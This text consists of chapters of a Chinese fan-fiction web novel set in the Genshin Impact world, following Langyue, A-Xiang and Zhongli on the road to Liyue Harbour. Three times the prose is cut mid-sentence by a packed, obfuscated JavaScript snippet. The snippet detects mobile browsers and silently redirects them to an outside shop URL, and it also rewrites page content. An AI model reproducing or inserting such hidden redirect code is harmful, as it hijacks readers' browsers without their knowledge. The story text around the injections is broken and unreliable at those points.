朗樾松了口气。但又隐约觉得,在这份从容之下,好像一切都被无声地看过了。 阿响默默走到她身边,两人一起跟上钟离的步伐。驮兽打了个响鼻,迈开步子。 于是他们离开望舒客栈脚下那片渐渐醒来的喧闹,踏上了往南的路。 这条路从客栈广场延伸出去,宽阔,土质硬实,被无数车辙和脚印磨得发亮。 几乎刚迈步,就汇入了稀疏却持续的人流里。前头十几步外,是个三头驮兽的小商队,蹄声哒哒;身后不远,两个背着竹篓的行商正低声聊着今天的行情。 朗樾本能地绷了一下,但马上意识到——这些人只是匆匆瞥她一眼,最多好奇地看看钟离的气度,或者打量一下她和阿响这对奇怪的组合,然后很快就移开目光,赶自己的路去了。 没人停下盘问。没人有敌意。 阿响走在她侧后方,对这些人和事的接受度明显比她高得多。大概平时跑腿打杂时早就见怪不怪了。 走出一里多地,客栈岩壁的压迫感才慢慢被旷野取代,但路上的人一直没断过。他们超过几个步行的旅人,也被一队驮着物资的驮队超过。风还是吹着归离原的荒草,但风里夹着人声、驮铃声、车轮声——全是活气。 等周围的风景和人都看习惯了,朗樾忍不住偷偷观察前头钟离的背影。 想从那沉稳的姿态里,看出几分“岩王帝君”的影子。但又觉得,他和路上任何一个见多识广的旅人没什么不同——除了那份过于沉静的气度。 阿响一直很安静。大多数时候目光落在前头的小路上,偶尔抬起,扫过两旁的芦苇,眼神空茫,不知在想什么。只有钟离偶尔停下,指着某处说个地名或典故时(那些名字朗樾在游戏里都听过),他才会微微偏头,好像在听,又好像只是让声音从耳边流过。 走了大概一个时辰,太阳完全跳出来,驱散了最后的雾气。钟离在一处地势稍高、靠近水边的干土坡停下,让驮兽喝水,也让他们歇歇脚。 朗樾找了块石头坐下,揉发酸的小腿。阿响没坐,蹲在水边,伸手撩水玩。 “阿响。”她压低声音问,“昨晚……后来没事吧?”指的是他脸上的伤。 阿响摇摇头,没说话。 过一会儿,他忽然指向水泽对面一片看起来更密、压根不像有路的地方:“走那边。” “嗯?”朗樾一愣。 “那边。”阿响重复,语气没起伏,“水下面的‘路’更平,没有坑。这边的‘光’是扭着的,走过去脚会陷。” 朗樾顺着他指的方向看过去——那根本看不出有路。她迟疑地看向正在喂驮兽的钟离。 钟离显然听到了。他直起身,朝阿响指的方向看了片刻,又低头看看脚下那条被踩得明明白白的小路。眼中掠过一丝思索,然后颔首: “芦苇新折的痕迹很少,看似没路。但水泽之地,表面常骗人。阿响小友既然有感觉,不妨一试。” 他居然信了。 于是他们偏离了那条明显的土路,跟着阿响,小心翼翼蹚过一片浅水,拨开看似密不透风的芦苇丛。 脚下果然是硬的——铺着细碎卵石的浅滩,走起来比之前那段泥泞小径稳当多了。芦苇丛后头,还真连着一条被高高苇秆半遮着的干土埂,蜿蜒往南。 “小友对野外路径,倒是敏锐。”钟离走在后头,语气温和,听不出是随口夸还是别有深意。 阿响走最前头,闻言脚步没停,只含糊“嗯”了一声。过了几秒,才又低声补了一句:“不是直觉……是‘看’见的。地是硬的,‘光’就顺;地是软的,‘光’就乱。” 他好像不觉得自己说的话有什么特别,只是把自己“看”到的东西说出来而已。 朗樾心又提起来。她看向钟离。 钟离脸上没什么异样,只是点点头,好像阿响说的是“看云识天气”这种平常事。 “天地万物,各有其理,亦有其‘象’。能窥见‘象’者,确非常人。”他顿了顿,像是随口一问,“此等目力,是天生的,还是后来学的?” 阿响停下脚步。好像被这问题难住了。 他站在土埂上,回头看了钟离一眼。那双空茫的眼睛里,头一回露出清晰的困惑。 想了想,慢慢摇头:“不知道……一直都能看见。从小。” 说完,他不再理会这个问题,转身继续往南走。 钟离没再追问。但那双平静的目光,在阿响瘦削的背影上多停了一息。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307622|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重新上路后,气氛好像有点变了。 钟离话比之前稍多,不再只是介绍风物,偶尔会问阿响一些看似随便的问题。比如“平时做什么活?”“在客栈见过什么特别的人?” 问题都很平常。阿响的回答简短、直接,有时候还答非所问,透着一种和这个社会格格不入的劲儿。 朗樾在一旁听着,心里那点不安又浮上来。 她有种感觉——钟离好像正在用一种她看不懂的方式,“读”着阿响。 而阿响,就像一本摊开的、却用另一种语言写的书。他每一句诚实的回答,都在向这位神明揭开自己更深处的异常。 中午,他们在归离原中部一片有树的草地歇脚,吃了点干粮。朗樾拿出自己省下的饼,分给阿响一半。钟离则从驮兽背上的箱笼里取出一个精致的竹筒,里面是清香的茶,还给他们一人倒了一杯。 饭后,钟离提议小憩片刻。朗樾靠着一棵树干闭上眼,疲惫和暖洋洋的日光让她意识慢慢模糊。 半梦半醒间,好像听到阿响在很近的地方,用极轻的、梦呓般的声音说着什么: “……天边的云……在唱歌……” 她一个激灵,醒了。 睁开眼,阿响就坐在她旁边不远处,背对着她,面朝北方。 朗樾回想游戏里的地图——北边,穿过归离原和荻花洲,是石门,是……去蒙德的路。 他的侧脸在斑驳树影里有些虚幻,眼神空远得像穿透了云层,看向极远的地方。 朗樾心里忽然明白了:“阿响,你一直说的北……是靠近蒙德那边?” 阿响转过脸看她,皱了皱眉。半晌,点了点头。 “是的。那边的人管那里叫蒙德。” 他没再多说。 朗樾顺着他目光的方向看过去——只有大片大片慢慢飘着的、普通的积云。 不知为什么,她忽然有点不安。 说不上来。也只能先放下。 就在这时,原本闭眼养神的钟离,不知什么时候也睁开了眼。 他的目光平静地落在阿响望向北方的背影上。那双金色的眼睛里没有睡意,只有深潭般的沉静,和一丝好像早就知道什么的了然。 风吹过草地,送来远方模糊的声音——像是野兽,又像是风穿过石缝的呜咽。很轻,一下就没了。 声音传来的方向,好像是他们将要去的东南边。 朗樾看到钟离的耳朵几不可察地动了一下。他的视线从阿响身上,慢慢移向那声音传来的地方。 眉头微微蹙起一下,随即又松开,好像只是确认了什么无关紧要的事。 他什么也没说,重新闭上眼,像真的在休息。 朗樾却再也平静不下来。 她抱着膝盖,看着阿响依旧望向北边的侧影,又看看好像睡着了钟离,陷进一种深深的茫然里。 —— 好在没茫然太久。 “歇息得差不多了。”钟离温和的声音响起,他已经站起身,拂了拂衣摆上并不存在的灰,“午后日头渐毒,趁凉快多赶一程。” 语气稀松平常,好像刚才那阵沉默和远处的呜咽,都只是路上最普通的插曲。 朗樾连忙应了一声,站起来,又下意识看向阿响。 阿响还望着北边。 直到她轻轻拉了一下他的袖子,他才像突然回过神一样转过头。那双空茫的眼睛慢慢聚焦在她脸上,然后默默起身,背好他的小布包。 18. 第 18 章 与神明同行(中) 三人再度上路。 午后阳光果然烈起来,晒得归离原的枯草一片晃眼,热气从地面往上蒸。钟离走在前头,步伐稳得像没事人。朗樾用旧草帽遮着脸,口干舌燥,脚底发烫。 阿响有点心不在焉。脚步一会儿落后一会儿超前,老往路边的旷野和土丘上看,眉头时不时皱一下,像在闹市里费力听某个特别的声音。 “怎么了?”朗樾低声问。 阿响摇摇头。过了几秒才说:“好多‘声音’……乱的。”他顿了顿,“但是有一个不一样。好像在跟着咱们,在‘光’的缝里。” 朗樾心头一紧,想起午休时那声呜咽。“什么东西?” 阿响又摇头,眼神里有点少见的茫然:“‘看’不清。它的‘颜色’很淡,会躲。”他抬手比划,“像水里影子,一碰就散。” 走前头的钟离,背影看着没动静。但朗樾注意到,他手里不知什么时候多了枚摩拉,在指间慢慢翻着,偶尔反射出一点光。 他们经过一处半塌的遗迹时,出事了。 不是直接冲出来什么东西。是旁边风化的岩壁上,先滚下来几块碎石头,紧接着一片桌面大的岩壳“咔嚓”一声裂了,直直朝走在下面的朗樾和阿响砸下来。 太快了。朗樾只来得及抬头,看见一片黑影罩下来。 “小心!” 钟离的声音不大,却像能穿透东西。同时他手腕一抖——那枚摩拉变成一道几乎看不见的金线,射了出去。 没有巨响。摩拉精准打在那片岩壳的某个边角上,下坠的轨迹硬生生偏了,擦着两人衣角,“轰”地砸在旁边半步远的地上,碎成几块,溅起一片土。 朗樾心脏狂跳,还没回过神来。 阿响被土呛得咳了两声,但第一反应不是看地上的石头,也不是看钟离,而是猛地扭头,盯着遗迹上方一个黑洞洞的窟窿,空茫的眼睛里第一次露出那种“锁定了”的光,压低声音说: “在那儿!” 他刚出声,钟离已经像一阵轻烟飘过几丈远,到了那处岩壁下。没费力往上爬,只是抬起右手,朝那窟窿虚虚一按。 朗樾好像听到一声极低极沉的嗡鸣,不是实打实的声音,更像是直接震在脑子里的感觉。一道隐隐泛着金光的透明涟漪,从他手掌扩开,扫过那片岩壁。 窟窿里传来一声短促尖利的嘶叫,不像寻常野兽。然后是一阵窸窸窣窣飞快远去的动静,很快没了。 钟离收回手,金光消散。他抬头看那窟窿片刻,飘然落下,回到两人身边,面色如常。 朗樾眼睛都瞪大了。 刚才那绝对不是武功——那是岩元素力。 来提瓦特这么久,她当然知道这是个有元素的世界。可冰冷的七天神像和这十几天的麻木干活,让她快忘了这世上真有“奇迹”。刚才那一幕,裹着岩石的厚重和威严,就在她眼前展开。 “所以钟离身上至少还是有一摩拉的吧……”她脑子里突然冒出这么一句不合时宜的吐槽。 “先生,刚才那是……”她尽量让声音稳下来。 “一处年久失修的岩体松动罢了,常有之事。”钟离语气平和,“二位受惊了。” 解释得滴水不漏。荒郊野外,遗迹塌方,正常。 但朗樾的目光忍不住看向阿响。 阿响还盯着那个窟窿,眉头紧锁,低声重复,这次更确信了:“是跟着咱们的那个……‘会躲的影子’。它被打疼了,跑了。”他顿了顿,终于看向钟离,眼里是纯粹的疑惑,“您……把它‘按’回去了?” 钟离对上他的目光,没承认也没否认,只淡淡问:“小友看见那‘影子’是什么模样?” 阿响努力回想,最后还是沮丧地摇头:“‘看’不清。只知道……它不喜欢您身上的‘光’,但又想靠近我们。”他指指朗樾,又指指自己,意思模糊但直指核心。 钟离若有所思地点点头。“原来如此。”没再多问,“此地不宜久留,继续赶路吧。” 朗樾跟在后面,重新踏上晒得发烫的土路。 刚才的惊险和那圈金色涟漪带来的震撼,比正午太阳还灼人地烙在她脑子里。脚步机械地往前走,目光却总忍不住飘向前头那个岩金色的背影。 这就是行走于世的神明。 这个认知,第一次这么具体、这么不容置疑地砸在她面前。不再是游戏图标,不再是说书人故事里的遥远符号。他会因为一个少年的怪话而思索,会在危机关头用凡人想象不到的手段化解危机,也会用最平常的理由把一切轻描淡写地带过去。 这种巨大的、近乎荒谬的反差,让她心绪乱成一团。她真切地走在神身边,知道他最大的秘密,却对他此刻真正的想法一无所知。 沉默在三人之间蔓延,和清晨出发时那种安静的沉默完全不一样。空气里好像还残留着那声嘶叫的尖利和岩灰的土腥味,还有某种无形的、被赶走却未必远去的窥探感。 阿响变得比之前更安静,甚至有点蔫。他不再东张西望,只紧紧挨着朗樾走,偶尔抬手揉揉额角,像被什么东西烦着。 “头疼?”朗樾压低声音问。 “嗯。”阿响含糊应了一声,眉头皱着,“‘声音’跑掉之后,留下好多……回音。乱的,碎的。”他试图形容,但找不到准确词,最后只是摇摇头,脸色在烈日下有点苍白。 走在前面的钟离,不知什么时候放慢脚步,和他们并排了。他没看阿响,目光落在前头,像随口提了一句: “精神耗损过度,易受邪祟侵扰。小友若感不适,当凝神静气,专注于脚下之路,勿为外物所惑。” 话很平淡,却好像有种能让人心神安定的力量。阿响愣了愣,依言把目光投向脚下的泥土,努力不去“看”那些没形没质的“回音”。过了一会儿,他皱着的眉头好像真的松了点。 朗樾看在眼里,心里对钟离的感觉又复杂了一层。这位神明对人的观察和关照,细得超出想象。 日头开始西斜,把他们的影子拉长。 前头出现一片还算规整的废墟,看剩下的基石和石柱,像是个古代小驿站或哨所。几堵半塌的土墙围出一小块勉强能挡风的角落。 “今夜便在此处歇息吧。”钟离停下脚步,“废墟可略挡风寒,视野也开阔,便于察看四周。” 这确实是眼下最合适的地方。钟离让驮兽停在背风处,自己走到废墟边上,目光沉静地扫视四周辽阔的归离原。暮色给荒原披上一层苍凉的金红,远方的遗迹像巨兽沉默的骨头。 朗樾帮阿响在墙根下清出一块干净地方。阿响抱着膝盖坐下,把脸埋进臂弯里,好像累坏了。 “我去附近看看有没有干柴。”朗樾说着,起身往废墟外围走。想让自己被各种念头塞满的脑子透透气,顺便干点实事。 她小心绕过碎石和带刺的枯藤,在几十步外一处低洼地捡到些还算干的灌木枝。正弯腰捡着,眼角余光瞥见不远处一块斜着的石碑后头,好像有点不一样的痕迹。 不是自然风化的颜色。她犹豫了一下,还是轻轻走过去。 灰白的石碑背面,靠地面的阴湿地方,有一小片巴掌大的污迹。颜色暗得发黑,但绝对不是苔藓或水渍,边上有一种不自然的、像被烧过的焦褐色。仔细看,好像还有极细的、蛛网一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307623|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的银色纹路,正在慢慢变淡,最后彻底消失。空气里飘着一丝极淡的、说不清的腥冷味,和她之前闻过的魔物或腐烂味都不一样。 这痕迹太新了,而且透着古怪。 朗樾心头一跳,马上想起阿响说的“会躲的影子”和那声嘶叫。她下意识回头,望向废墟那边。 暮色渐浓,钟离还站在断墙边,身姿挺拔,像另一尊沉默古老的石碑,正静静望向她这里。金色的夕阳余晖落在他身上,镀上一层暖光,却让他的脸逆光显得有点模糊。 他显然早就看见了她,和她面前的发现。 但他只是远远地,几不可察地,对她微微摇了摇头。 一个清晰又克制的指令:别声张,别碰,回来。 朗樾立刻收回目光,抱起干柴,像什么都没发现一样,快步走回废墟角落。只是心脏在胸腔里,怦怦跳得厉害。 她放下柴,忍不住偷眼看还站在废墟边缘的人。 没看错。那痕迹绝不是寻常东西。钟离看见了,却让她闭嘴。 这意味着什么?意味着那东西可能没走远,意味着钟离知道更多却选择不说,也意味着……这看着平静的歇脚地,可能远没表面那么安全。 阿响还蜷在墙根,对刚才的事毫无察觉。或者说,他正被自己感知里那些“乱的、碎的回音”烦着,顾不上别的。 夜色还没完全合拢,天边还剩一线暗红和深紫绞在一起的霞光。东边天上,几颗格外亮的星星已经急着出来了。 钟离站在断墙边,仰头望着那片慢慢醒来的星空,侧影像一尊安静的观星仪。 “璃月人常说,‘群星的位置,铭刻着古老的契约’。”他突然开口,声音在暮色里显得特别清朗,“你看东北方那三颗连成弧线的星,在璃月港被称为‘归航星’。渔民和商旅以其定位,即便在无月的海上,亦能找到归家的方向。” 朗樾顺着他指的方向望去。那三星并不耀眼,却稳稳定在慢慢变深的夜空里。在游戏里,星空只是背景板;可现在,它是真的能指引方向的坐标。 “星星……也会契约吗?”朗樾有点惊讶。 “天地万物,运行各有其轨,此亦可视为广义之契。”钟离答得耐心,“识其轨,遵其律,便能借其力,或至少,不与之相悖。此理,放之四海而皆准。” 朗樾心里动了一下。她仰头望着那几颗“归航星”,悬在浩瀚天幕上,恒久又沉默地为迷路人指着方向。一种奇怪的感觉包裹了她——在这片陌生、危险又辽阔的大地上,头顶竟然悬着这么古老又可靠的坐标。这让她那颗飘着没根的心,好像也抓住了一丝微弱的、关于“方向”的实感。 就在这时,一个完全不相干的画面,猛地撞进她脑子里——昨夜夜市晃动的灯火下,那几株有点蔫的、蓝白色的花。 她几乎是脱口而出:“钟离先生,您昨天买下的那些……琉璃百合呢?好像没见您带着?” 话一出口,她自己先愣了。在讨论星星契约的时候,问起几朵花,这脑子跳得也太远了。 钟离闻言,侧过头看她。金色的瞳孔里映着初升的星子,好像也掠过一丝极淡的、近乎意外的波澜,像在琢磨她这问题从哪冒出来的。 他没立刻答,而是抬手,指指驮兽背上的箱笼。 “凡俗之物,自有安置之处。”语气平和如常,“那箱笼看似寻常,内里却以秘法维持着一方清润阴凉的小境。花卉离土,娇弱易损,置于其中,可保数日生机不失。待抵达璃月港,再寻合适器皿与水土栽植,或可分赠友人,或可静置于案头,聊作清赏。” 朗樾恍然。这确实像是钟离会做的事。 19. 第 19 章 与神明同行(下) “它们……不怕吗?” 阿响不知什么时候睁开了眼,明显听到了刚才的话。他望着那箱笼,空茫的眼神里带着困惑:“被关在小小的、黑黑的地方。” 钟离看向他,沉吟了一瞬,像在斟酌怎么解释。 “并非关押,而是护佑。”他说,“如同旅人于寒夜需栖身于屋舍,离根之花亦需一方适宜之境暂歇,以待新生。其生机流转趋于平缓,并非痛苦,而是沉眠。” 阿响听着,似懂非懂。但“沉眠”这个词他好像接受了,轻轻“哦”了一声,没再追问。 霞光褪尽,夜幕完全合拢。星河横贯天穹。 钟离这才转身,不再仰望星空,像个普通人一样取出火折子,走向那堆朗樾拢好的干柴。 “荒野夜寒,有火便好过许多。” 咔哒一声,橘红色的火苗跃起,舔着枯枝,迅速蔓延成一片温暖的光明。三人的影子被投在背后的断壁上。 他又走向驮兽,从行囊里取出一个扁平的包裹。 放在平整的石头上,不紧不慢地解开系带。 “赶路辛苦,若整日只以干粮果腹,未免太过清苦。” 包裹打开,里面的东西让朗樾有点意外:几个油纸细心包着的物件,大小不一;两个密封的竹筒;一小捆散发着清香的干草。 钟离动作从容。先取出一包油纸,里面是几块质地紧实的饼,边缘微焦,飘着麦香和淡淡的芝麻味。 “这是临行前请客栈厨房制的‘行军饼’,麦粉混了少许肉糜与干菜烤制。虽不精致,但耐储存,比寻常干粮适口。” 他又拿起一个小油纸包,这次飘出咸鲜味——几片切得极薄、半透明的深红色肉片,纹理分明,边缘微卷。 “璃月港‘和裕记’的风干火腿,后腿精华,古法悬晾三年以上。携带时只需数片,便可增味。” 最后是那两个竹筒。钟离拔开一个塞子,清雅的茶香溢出。另一个摇晃时有水声,应是净水。 “至于这束,”他拿起那捆干草,“晒干的清心与琉璃袋的混合香草,置于火边慢燃,可驱蚊虫,亦能宁神。” 朗樾看得有点发愣。这哪像赶路野炊,简直像准备了野餐篮出游。 阿响也凑近了些,鼻子动了动,目光落在那风干火腿上,低声说:“我在客栈见客人拿出来炫耀过。” 钟离微微一笑:“三年光阴,盐与风完成了它们的契约,将鲜味凝练封存。如今以火稍炙,便是一次唤醒。” 他先取了几片火腿,用细树枝串起,悬在火堆外侧温度合适的地方慢烤。油脂受热,发出细微的滋滋声,咸鲜的香气越发浓郁,和香草燃烧的清冽气息混在一起,让这片荒野废墟多了几分奇异的烟火气。 他又将竹筒里的水倒入小铜壶,悬在火上烧煮。水沸后,投入茶叶,让它们在滚水中舒展沉浮。 “阿月姑娘,可否将饼稍烤热?”钟离把串着饼的树枝递给她。 朗樾接过,学着他的样子悬在火边。饼皮很快变得酥脆,麦香被热气激出来。 阿响安静地看着火焰,目光随着火光游移,忽然轻声说:“火……在唱歌。” “哦?”钟离正用另一根树枝小心地翻动火腿片,“唱的是什么歌?” 阿响侧耳听了一会儿,摇头:“听不懂的词。但是……暖的。” 火腿片边缘烤得微焦卷曲。钟离取下,分别放在两片烤热的饼上,又取出一把小巧的银质餐刀——天知道他行囊里到底还装了多少讲究东西——将火腿仔细分成适宜入口的大小。 “荒野之中,条件有限,只能如此将就了。” 他说得自然,仿佛面前这一切真的只是“将就”。 朗樾接过饼夹火腿。热乎乎的饼裹着咸鲜油润的火腿片,一口咬下去,麦香和肉香在嘴里化开,好吃得差点咬到舌头。 这是她穿越到这里后,吃过的最好吃的东西。 阿响小口吃着自己的那份,很慢。眼神比之前明亮了些,好像食物的温度也驱散了身上的一部分空洞。 钟离自己也用饼夹了火腿,却不急着吃,先为三人倒了茶。茶汤在粗陶碗里显出琥珀色,热气袅袅升起,与夜色相融。 三人围坐火边,就着简单的食物,听柴火噼啪作响,望头顶愈发清晰的星河。断壁在火光中投下摇曳的影子,远处传来不知名夜鸟的啼鸣。归离原的夜风带着历史的凉意。 真好啊…… 朗樾眼眶忽然有点湿。她赶紧低头掩饰。明明前路未卜,归家无路,现在居然为了一口吃的就觉得有点幸福。 “今夜星光明朗,明日应是好天气。”钟离喝完最后一口茶,放下碗,目光扫过天际,“早些歇息吧。” 语气里听不出什么特别情绪,却有种让人安心遵从的力量。 —— 晨光再次洒向这片断壁时,篝火已熄,只剩一小堆温热的灰烬,几缕白烟细细地扭着升空。 朗樾揉着发酸的肩膀坐起来,正好看见不远处一队旅人牵着驮兽,沿着道路向南而去。那是昨晚后到的行商,看见他们在此歇息,便也停了。此刻他们的身影在未散的晨雾里影影绰绰,脚步声和驮铃声很快被旷野吞没,只留下更深的寂静。 早饭简单得多。钟离用昨晚烧水的铜壶煮了清粥,就着剩下的半块饼。热粥下肚,驱散了最后一点寒意。 三人沉默地吃完,快速收拾妥当,将灰烬仔细掩埋,重新踏上南下的主路。 日头渐渐升高,驱散了雾气,也将归离原大片荒芜的遗迹晒得清晰起来。断墙、残柱、半埋在土里的石雕,沉默地诉说着昔日的繁华与最终的“离”。 走了不到半个时辰,他们超过一队不紧不慢的行旅。是几个结伴的采药人,背着半满的竹篓,裤脚和草鞋上沾着新鲜的泥渍和草叶,边走边低声交谈,言语间夹杂着“石斛”“清心”和某处向阳山坳的长势。双方交错时,一个须发花白的老者目光扫过钟离,略略点了点头。钟离亦微微颔首回礼。双方无话,各自沿着尘土飞扬的道路前行。 第二日、第三日的路程大抵如此。 到第四日,风景在脚下平缓地变化。荒野渐少,人烟复稠。路好走了不少。朗樾问过钟离才知道,原来这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307624|198725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离璃月港只有一日半的脚程。他们走的是官道。 日光照人。 官道旁有个茶棚。几个行商模样的旅人正喝着粗茶,高声谈论: “……晦气!昨儿傍晚在前头那片老林子外头歇脚,总觉得有东西在树影里晃,盯着人看。夜里没出事,可早上起来,发现水囊边上多了一小滩水渍,摸上去又滑又凉,半天不干,还带股说不出的石头腥气。边上泥地里,有几个印子,浅浅的,不像兽爪,倒像什么湿漉漉的软东西蹭过去的。” 另一个压低声音:“我们也在那片遇过怪事。夜里篝火明明烧得旺,却总感觉火光照不透三尺外,黑得跟墨一样。冷不丁还能听见一声呜咽,细细的,从地底下钻出来似的,可仔细去听,又没了。都说那片地脉古旧,怕是有些地下的‘老朋友’睡不安稳,翻了个身。” 钟离本已走过茶棚几步,闻言,脚步几不可察地缓了一瞬。 他神色如常地转向朗樾和阿响:“暑气正盛,前方路长,不如在此稍歇,饮杯茶水。” 朗樾有点惊讶——这一路钟离对歇脚地点颇有讲究,从不会随意在路边停留。但她还是点点头,跟着走了进去。 茶棚简陋,正好还有一桌空着。桌椅不算特别干净,但也能坐人。忙活的是一对老夫妻。老翁提着茶壶过来,在他们面前放下三个粗陶碗。 朗樾看着那碗,又看向钟离——他正似随意地听邻桌继续闲聊,侧脸平静。 她心里忽然冒出个念头:这位客卿先生……身上带摩拉了吗? 这一路本没打算吃用他的,可是他递得自然,她完全拒绝不了。 “老人家,”她抢先开口,手已经摸到腰间装摩拉的布袋上,“三碗茶。” 又窘迫地补了一句:“……便宜的那种。” 老翁点头,已经开始倒茶汤,颜色颇深的茶水注入碗中:“都一个价。一百摩拉一碗。” 朗樾心里抽了一下。她低下头,从袋里小心地往外数。一枚,两枚……轻薄金属片在掌心碰撞出细微的叮当声。每数一枚,脑子里就自动减掉一点在璃月港安身的底气。 数到三十枚时,她把那一小堆摩拉推了过去。老翁一直耐心等着。 钟离落坐后跟邻桌搭起了话,此刻也结束了闲谈,目光落在她脸上,又扫过桌上那堆摩拉,神情平静道:“多谢。” 朗樾赶紧摆手:“不、不谢。” 她捧着碗喝了一大口——味道比想象的还淡,但至少解渴。她偷偷瞥了眼钟离,见他端起碗,姿态依旧从容地饮着,仿佛这粗茶与昨日他行囊里那些讲究物什并无区别。 阿响安静地坐在一旁,小口喝着,目光空茫地望着棚外晃眼的日光。 茶喝得很快。钟离放下碗:“时辰不早,该上路了。” 朗樾跟着站起来,手指习惯性地摸了摸腰间——内袋明显瘪了一截。三百枚,她攒了那么久…… 可看着钟离平静的侧脸,她又觉得这钱该花。至少,她不是完全在占人便宜。 三人走出茶棚。热风卷着尘土扑面而来。官道在烈日下白晃晃地延伸。 20. 第 20 章 初见璃月港 一直安静的阿响,忽然极轻地嘟囔了一句:“他们说的……应该不是那个东西。” 朗樾心头一跳,看向他。阿响却已低下头,盯着自己的鞋尖,不说话了。 走在前面的钟离,闻言回了下头。日光落在他岩金色的瞳孔里,看不出什么情绪。只停顿了一瞬,他便继续迈步向前,像什么都没听见。 再往前走了十几里,官道两旁的瞭望塔渐渐多起来。石砌的塔身立在午后的日光里,沉默又肃穆。 没走多远,路忽然被一道极高的石阶截断了。 那石阶像是从山体里生生凿出来的,宽阔又陡峭,阶面被岁月和无数脚步磨得发亮。 阶前排起了长队。打听了一下,是千岩军在排查过往行人,说是接了“七星”的直属命令,核对路引户籍,防通缉犯混进去。 朗樾心里咯噔一下。 路引?户籍?她哪来的? 她下意识看向阿响。阿响倒是点了点头,低声说:“我有。”是从客栈管事那儿开出来的,证明他杂役身份的简单文书。 她只能眼巴巴望向钟离。 钟离察觉到她的视线,微微侧过头,金色的眸子里掠过一丝了然的笑意,声音平稳:“不必担忧。” 语气太笃定,朗樾莫名就安了点心。 队伍慢慢往前移。 轮到他们时,一个穿千岩军制式轻甲的年轻士兵迎上来。脸上还带着点稚气,眼神却很认真,检查动作一板一眼。 钟离从容地从怀里取出一份盖着朱红印章的纸笺——往生堂出具的正式路引,证明他客卿身份和璃月港常住资格。纸张考究,和周围行人手里那些粗糙的文书完全不一样。 轮到朗樾时,钟离接过话头,跟那士兵温声说了几句,便取过旁边桌上的空白担保文书,提笔蘸墨,行云流水地签下自己的名字,又押上往生堂的徽记。 那士兵仔细核对了文书和钟离的路引,又抬头打量了朗樾和阿响两眼,像在确认他们不像坏人,这才点点头,在文书上盖了个查验通过的戳。 钟离把文书递给朗樾收好,目光落在那小兵一丝不苟的脸上,随口问:“如此要道,排查辛苦。这位小兄弟,今日怎只见你一人值守?” 那小兵闻言,挺了挺胸,脸上露出一丝和方才严肃不太符的、有点稚气的得意:“回先生的话,原本是两人一班。我那位同僚……呃,他前几日帮我算了一卦,说我只要认真当值,多帮衬同僚,事业必定蒸蒸日上!所以今日他有些私事,我便让他先去了。” 他说得认真,好像那“卦象”是什么了不得的军令。 钟离眼中笑意深了些,终究没说什么,只颔首道:“勤勉尽责,确是好事。” —— 过了关卡,就是那望不到头的石阶。 阶石厚重,边缘被风雨侵蚀得圆润,缝隙里长着青苔。爬了不到三分之一,朗樾就开始喘,小腿发酸。阿响跟在她旁边,脸色也微微发白,脚步虚浮。 走在前面的钟离,步伐依旧平稳从容。岩金色的衣袂随着登阶轻轻摆动,气息匀长,像不是在这近乎笔直的天梯上,而是在自家院子闲庭信步。 朗樾咬着牙,埋头上爬。心里只剩一个念头:这台阶到底谁修的……也太高了。 不知过了多久,当她快感觉不到自己腿的时候,终于登上了最后一级。 眼前不是预想中的山顶开阔地,而是一个半山平台。 几间朴素的房舍散落在缓坡上,形成个小村子。田里有老人弯腰侍弄菜地,不远处传来打铁的叮当声,几个青壮正在修一段石墙,全是生活气息。 朗樾扶着膝盖喘气,以为总算能歇了。却见钟离没停,而是看向村落后方。 那里百米开外,又是一道更陡的石阶,近乎笔直地往上延伸。 石阶尽头,山势陡然合拢。两侧巨岩凌空对峙,形成一道险恶的隘口。最吓人的是隘口顶端,虬结的古老树根像巨蟒一样缠着一块硕大的悬石,那石头摇摇欲坠,好像随时要崩下来,把下面一切碾成齑粉。 一股无形的压迫感罩下来。 “还要……爬?”朗樾声音都虚了。 阿响却走开了。 朗樾转头看去,微微一怔。 不远处,一座岩王帝君的七天神像巍然矗立。和她之前在荻花洲见过的那座八九分像。同样是头披兜帽的神明随意坐在石座上,凝视着掌中有些磨损的尘世之锁。阳光正照在神像低垂的半掩面容上,镀着一层庄重的金辉。几个路过的旅人正虔诚地在神像前跪拜。 阿响正往那边走。 朗樾的视线几乎不受控制地,飞快飘向身边的钟离。 他负手而立,正望向头顶的奇观,对那座七天神像毫不在意。 朗樾又看了眼神像,默默想,除了身型,别的真是一点都不像。 神像前,阿响学着那些穿璃月服饰的旅人,跪下,合十,很认真地拜了拜。 朗樾正犹豫,钟离的声音在旁边响起,平和如常:“阿月姑娘,若想近前一观,也自可去。” 她转头看他。 他神色坦然,目光温和,真像只是一个普通的同行者,在建议旅伴去看看当地有名的“景观”。 